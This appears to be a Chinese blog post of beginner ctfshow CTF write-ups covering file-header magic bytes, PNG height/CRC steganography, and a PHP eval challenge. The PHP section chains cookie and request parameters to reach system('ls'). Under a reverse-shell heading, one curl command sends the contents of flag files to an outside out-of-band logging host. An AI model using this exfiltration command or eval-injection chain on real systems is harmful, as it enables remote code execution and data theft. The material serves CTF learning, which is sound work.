ctfshow_CTF_WriteUp |【_新手必刷_菜狗杯】

损坏的压缩包

基础知识

常见文件文件头文件尾 https://devtool.tech/filetype

1、图片**

  • JPEG 文件头:FF D8 FF 文件尾:FF D9
  • TGA 未压缩的前4字节 00 00 02 00 RLE压缩的前5字节 00 00 10 00 00
  • PNG 文件头:89 50 4E 47 0D 0A 1A 0A 文件尾:AE 42 60 82
  • GIF 文件头:47 49 46 38 39(37) 61 文件尾:00 3B
  • BMP 文件头:42 4D 文件头标识(2 bytes) 42(B) 4D(M)
  • TIFF (tif) 文件头:49 49 2A 00
  • ico 文件头:00 00 01 00
  • Adobe Photoshop (psd) 文件头:38 42 50 53

2、office文件

  • MS Word/Excel (xls.or.doc) 文件头:D0 CF 11 E0
  • MS Access (mdb) 文件头:53 74 61 6E 64 61 72 64 20 4A
  • WordPerfect (wpd) 文件头:FF 57 50 43
  • Adobe Acrobat (pdf) 文件头:25 50 44 46 2D 31 2E
  • application/vnd.visio(vsd) 文件头:D0 CF 11 E0 A1 B1 1A E1
  • Email [thorough only] (eml) 文件头:44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A
  • Outlook Express (dbx) 文件头:CF AD 12 FE C5 FD 74 6F
  • Outlook (pst) 文件头:21 42 44 4E
  • Rich Text Format (rtf) 文件头:7B 5C 72 74 66
  • txt 文件(txt) 文件头:Unicode:FE FF / Unicode big endian:FF FE / UTF-8:EF BB BF /ANSI编码是没有文件头的

3、压缩包文件

  • ZIP Archive (zip) 文件头:50 4B 03 04 文件尾:50 4B
  • RAR Archive (rar) 文件头:52 61 72 21

4、音频文件

  • Wave (wav) 文件头:57 41 56 45
  • audio(Audio) 文件头: 4D 54 68 64
  • audio/x-aac(aac)
  • 文件头:FF F1(9)

5、视频文件

  • AVI (avi) 文件头:41 56 49 20
  • Real Audio (ram) 文件头:2E 72 61 FD
  • Real Media (rm) 文件头:2E 52 4D 46
  • MPEG (mpg) 文件头:00 00 01 BA(3)
  • Quicktime (mov) 文件头:6D 6F 6F 76
  • Windows Media (asf) 文件头:30 26 B2 75 8E 66 CF 11
  • MIDI (mid) 文件头:4D 54 68 64
  • RIFF()文件头:52 49 46 46

6、代码文件

  • XML (xml) 文件头:3C 3F 78 6D 6C
  • HTML (html) 文件头:68 74 6D 6C 3E
  • Quicken (qdf) 文件头:AC 9E BD 8F
  • Windows Password (pwl) 文件头:E3 82 85 96

7、其他类型

  • windows证书文件(der) 文件头:30 82 03 C9
  • CAD (dwg) 文件头:41 43 31 30
  • Windows Shortcut (lnk) 文件头:4C 00 00 00
  • Windows reg(reg) 文件头:52 45 47 45 44 49 54 34

你会异或吗

脚本目录: D:\PythonProjects\xor_image.py

flag一分为二

基础知识

先分析 png 的文件格式,用 16 进制编辑器 010editor 打开一张正常的 png 图片,逐字节分析如下:

[CTF隐写]png中CRC检验错误的分析

前八个字节 89 50 4E 47 0D 0A 1A 0A 为 png 的文件头,该段格式是固定的

[CTF隐写]png中CRC检验错误的分析

上图中高亮部分称为为 chunk [0] 段,可以分为以下几块:

  • 前四个字节 00 00 00 0D(即为十进制的 13)代表数据块的长度为 13,数据块包含了 png 图片的宽高等信息,该段格式是固定的

  • 之后的四个字节 49 48 44 52(即为 ASCII 码的 IHDR)是文件头数据块的标示,该段格式也是固定的

  • 之后进入 13 位数据块,前 8 个字节 00 00 05 56 00 00 03 00中:

    • 前四个字节 00 00 05 56(即为十进制的 1366),代表该图片的宽,该段数据是由图片的实际宽决定的

    • 后四个字节00 00 03 00(即为十进制的 768),代表该图片的高,该段数据是由图片的实际高度决定的

      [CTF隐写]png中CRC检验错误的分析

      这 8 个字节都属于 13 位数据块的内容,因此数据块应再向后数 5 个字节,即为 00 00 05 56 00 00 03 00 08 02 00 00 00

  • 剩余的 4 位 40 5C AB 95 为该 png 的 CRC 检验码,也就是本篇文章要重点讨论的地方,该段数据是由 IDCH 以及十三位数据块(即上文中的 49 48 44 52 00 00 05 56 00 00 03 00 08 02 00 00 00)计算得到的

  • chunk中数据块的长度(4字节)+IHDR固定标识(4字节)+数据块(长度前面指定,包括图片的宽度和高度)+CRC校验码(4字节)

有了之上的基础知识,再来看大部分 png 中 CRC 检验错误的出题思路:

对一张正常的图片,通过修改其宽度或者高度隐藏信息,使计算出的 CRC 校验码与原图的 CRC 校验码不一致;windows 的图片查看器会忽略错误的 CRC 校验码,因此会显示图片,但此时的图片已经是修改过的,所以会有显示不全或扭曲等情况,借此可以隐藏信息。

而 Linux 下的图片查看器不会忽略错误的 CRC 校验码,因此用 Linux 打开修改过宽或高的 png 图片时,会出现打不开的情况

图片隐写解体方法参考资料:

https://www.mondayice.com/2019/12/24/ctf隐写png中crc检验错误的分析/

https://blog.csdn.net/qiqn0721/article/details/147400663

https://www.cnblogs.com/handsomesnowsword/p/18302560

反弹shell构造

curl 7cux0p.ceye.io -X POST -d "1=cat f*;cat /f*"

image-20251105113414788

web签到

https://www.cnblogs.com/Guanz/p/17909953.html#1---web签到

 <?php
// 注释信息
 
error_reporting(0);        // 关闭错误报告
highlight_file(__FILE__);  // 当前文件高亮显示
 
// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

选择“操作-更改请求方法”,将 get 请求更改为 post 请求:
img

  1. 向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行 Cookie: CTFshow-QQ%E7%BE%A4%3A=a,这一步将 a 作为 cookie 传入“CTFshow-QQ群:”。其中 CTFshow-QQ%E7%BE%A4%3A 是 “CTFshow-QQ群:” 经 URL 编码后的值。需要注意的是 Cookie 行与前面的字段之间不能有空行,否则会被看作 post 请求的参数传入。
  2. _POST 函数收到 _COOKIE 传入的 a 后,将 a 作为变量名接收 post 请求的传参,因此在数据包最后插入一行 a=b 作为 post 请求的参数,这一步将 b 作为参数传入 a。同理,传入的参数需要与前面的字段间留有空行。
  3. _GET 函数收到 _POST 函数传入的 b 后,将 b 作为变量名接收 get 请求的传参,因此在数据包首行 POST / 后插入 ?b=c 作为 get 请求的参数,这一步将 c 作为参数传入 b。
  4. _REQUEST 函数收到 __GET 函数传入的 c 后,将 c 作为变量名接收 get 或 post 请求的传参,这里我们通过 post 请求传参。在第 2 步插入的 a=b 后加入 &c[6][0][7][5][8][0][9][4][4]=system('ls');
  5. eval 函数接收到 system('ls'); 后将字符串按 php 代码执行,对当前目录进行查询。
开始
  ↓
$_COOKIE['CTFshow-QQ群:'] → 值A
  ↓
$_POST['A'] → 值B  
  ↓
$_GET['B'] → 值C
  ↓
$_REQUEST['C'] → 数组$arr
  ↓
$arr[6][0][7][5][8][0][9][4][4] → 代码字符串
  ↓
eval(代码字符串)
  ↓
结束
posted @ 2025-12-03 14:22  Vincent-Lau  阅读(25)  评论(0)    收藏  举报